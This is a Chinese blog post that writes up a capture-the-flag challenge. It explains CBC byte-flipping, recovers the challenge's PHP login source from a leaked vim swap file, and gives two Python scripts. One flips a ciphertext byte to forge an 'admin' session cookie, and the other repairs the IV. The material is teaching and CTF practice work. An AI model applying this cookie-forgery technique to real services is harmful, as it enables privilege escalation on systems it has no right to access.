CBC翻转攻击,了解一下!

通过一道题了解CBC翻转攻击

CBC翻转攻击方法的精髓在于:

通过损坏密文字节来改变明文字节。(注:借助CBC内部的模式)借由此可以绕过过滤器,或者改变用户权限提升至管理员,又或者改变应用程序预期明文以尽猥琐之事。

下面介绍一下CBC字节翻转攻击的原理:
这里写图片描述
上图CBC加密的原理图

  1. Plaintext:待加密的数据。
  2. IV:用于随机化加密的比特块,保证即使对相同明文多次加密,也可以得到不同的密文。
  3. Ciphertext:加密后的数据。

    在这里重要的一点是,CBC工作于一个固定长度的比特组,将其称之为块。在本文中,我们将使用包含16字节的块。

整个加密的过程简单说来就是:

  1. 首先将明文分组(常见的以16字节为一组),位数不足的使用特殊字符填充。
  2. 生成一个随机的初始化向量(IV)和一个密钥。
  3. 将IV和第一组明文异或。
  4. 用密钥对3中xor后产生的密文加密。
  5. 用4中产生的密文对第二组明文进行xor操作。
  6. 用密钥对5中产生的密文加密。
  7. 重复4-7,到最后一组明文。
  8. 将IV和加密后的密文拼接在一起,得到最终的密文。

从第一块开始,首先与一个初始向量iv异或(iv只在第一处作用),然后把异或的结果配合key进行加密,得到第一块的密文,并且把加密的结果与下一块的明文进行异或,一直这样进行下去。因此这种模式最重要的特点就是:前一块的密文用来产生后一块的密文。
这里写图片描述
这是解密过程,解密的过程其实只要理解了加密,反过来看解密过程就也很简单了,同样的,前一块密文参与下一块密文的还原

  1. 从密文中提取出IV,然后将密文分组。
  2. 使用密钥对第一组的密文解密,然后和IV进行xor得到明文。
  3. 使用密钥对第二组密文解密,然后和2中的密文xor得到明文。
  4. 重复2-3,直到最后一组密文。

这幅图是我们进行翻转攻击的原理图:
这里写图片描述
这里可以注意到前一块Ciphertext用来产生下一块明文,如果我们改变前一块Ciphertext中的一个字节,然后和下一块解密后的密文xor,就可以得到一个不同的明文,而这个明文是我们可以控制的。利用这一点,我们就欺骗服务端或者绕过过滤器。

具体怎么翻转呢,因为涉及到异或,这里稍微介绍下异或的概念:

当我们的一个值C是由A和B异或得到
C = A XOR B
那么
A XOR B XOR C很明显是=0的
当我们知道B和C之后,想要得到A的值也很容易
A = B XOR C
因此,A XOR B XOR C等于0。有了这个公式,我们可以在XOR运算的末尾处设置我们自己的值,即可改变。

下面以一道例题作为说明
http://118.89.219.210:49168/index.php
首先,尝试用常见的用户名测试一下,root,user,admin等
这里写图片描述
当登录其他的用户名时,返回来了提示only admin can see flag
这里写图片描述
当尝试用admin登录时,却说admin不允许登录
这里写图片描述
接着尝试看看是否存在注入,可是都返回一样的信息,这时候思路需要转换一下,肯定有条路走,不然这道题做不下去,这时候要考虑是不是存在某些提示,比如源码,扫一遍常见的敏感路径,最后发现.index.php.swp存在,下载下来。
这里写图片描述

关于swp文件:
使用vi,经常可以看到swp这个文件。那这个文件是怎么产生的呢,当打开一个文件,vi就会生成这么一个.(filename)swp文件 以备不测(比如非正常退出),如果你正常退出,那么这个这个swp文件将会自动删除 。

怎么恢复.swp:
可以使用
vi -r {your file name}
来恢复文件,然后用下面的命令删除swp文件,不然每一次编辑时总是有这个提示。
rm .{your file name}.swp
这里写图片描述
这里写图片描述
输入7,即可恢复
看到该题的代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">;
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
    $(".username").focus(function() {
        $(".user-icon").css("left","-48px");
    });
    $(".username").blur(function() {
        $(".user-icon").css("left","0px");
    });
    $(".password").focus(function() {
        $(".pass-icon").css("left","-48px");
    });
    $(".password").blur(function() {
        $(".pass-icon").css("left","0px");
    });
});
</script>
</head>
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}
function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">
                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <input type="submit" name="submit" value="Login" class="button" />
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>
</html>

从代码中可以看出考察的是cbc字节反转攻击,而且是用了及其简单的CBC。

仔细审计代码
我们先发送正常请求

username=zdmin&password=12345

bp查看返回包
这里写图片描述
把里面的cipher进行翻转下面是自己写的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-03-15 11:45:57
# @Author  : Mr.zhang(s4ad0w.protonmail.com)
# @Link    : http://blog.csdn.net/csu_vc
import base64
import requests
import urllib
iv_raw='%2F8iEm4jh%2BjbgVGwlQ31ycg%3D%3D'  #这里填写第一次返回的iv值
cipher_raw='8WdhbPxjZy9xYAgoCeghiOUQu0ri1Y3dv7cX44MbvOfIC6zZxCbR%2FPFpeMatL5qIgT%2BYA66tIdCBpxtWsWxV9Q%3D%3D'  #这里填写第一次返回的cipher值
print "[*]原始iv和cipher"
print "iv_raw:  " + iv_raw
print "cipher_raw:  " + cipher_raw
print "[*]对cipher解码,进行反转"
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}
#s:2:{s:8:"userna
#me";s:5:"zdmin";
#s:8:"password";s
#:3:"12345";}
xor_cipher = cipher[0:9] +  chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:]  #请根据你的输入自行更改,原理看上面的介绍
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
print "反转后的cipher:" + xor_cipher

这里写图片描述
然后再bp中的cookie中设置iv和翻转后的cipher,注意,这里要把post的数据清空,否则会重复开始的流程,就进不了这个流程了
这里写图片描述
这次返回的结果如下
这里写图片描述

服务器提示反序列化失败,但是其实我们这个时候只要对这个进行base64解码就会发现,我们的username已经变成了admin,但是要注意的是,这里得到的其实只是php将密文解密后并且异或后产生的一段错误的plaintext,并非编码后的密文。
原因是在我们为了修改mdmin为admin的时候,是通过修改第一块数据来修改的,所以第一个块数据(16字节)被破坏了。因为程序中要求username要等于admin所以不能利用文章里的说的填充字符。 又因为是第一个块数据被破坏,第一个块数据是和IV有关,所以只要将在CBC字符翻转攻击,得到新的IV就可以修复第一块数据。
具体办法如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-03-15 11:56:20
# @Author  : csu_vc(s4ad0w.protonmail.com)
# @Link    : http://blog.csdn.net/csu_vc
import base64
import urllib
cipher = 'Bc6oENSSAEPpPdv/rbqRZG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9'#填写提交后所得的无法反序列化密文
iv = '%2F8iEm4jh%2BjbgVGwlQ31ycg%3D%3D'#一开始提交的iv
#cipher = urllib.unquote(cipher)
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
newIv = ''
right = 'a:2:{s:8:"userna'#被损坏前正确的明文
for i in range(16):
    newIv += chr(ord(right[i])^ord(iv[i])^ord(cipher[i])) #这一步相当于把原来iv中不匹配的部分修改过来
print urllib.quote(base64.b64encode(newIv))

这里写图片描述
把得到的新的修复的iv值替换掉,cipher仍然为翻转后的cipher
提交,就可以成功进去

这里写图片描述

至于序列化的知识:
因为不是这个主题的内容就,不详细介绍了,感兴趣可以百度。

后记:
这道题涉及到的一些密码学的概念和序列化的知识。本人通过反复测试,对照代码,查看自己进入到了哪一步的流程,尝试了很多次,一步一步才得到最终答案,过程虽然麻烦,但是很有意思。菜鸡上路,各位大佬勿喷,只是记录下自己的思路,欢迎大佬们指出错误。

评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值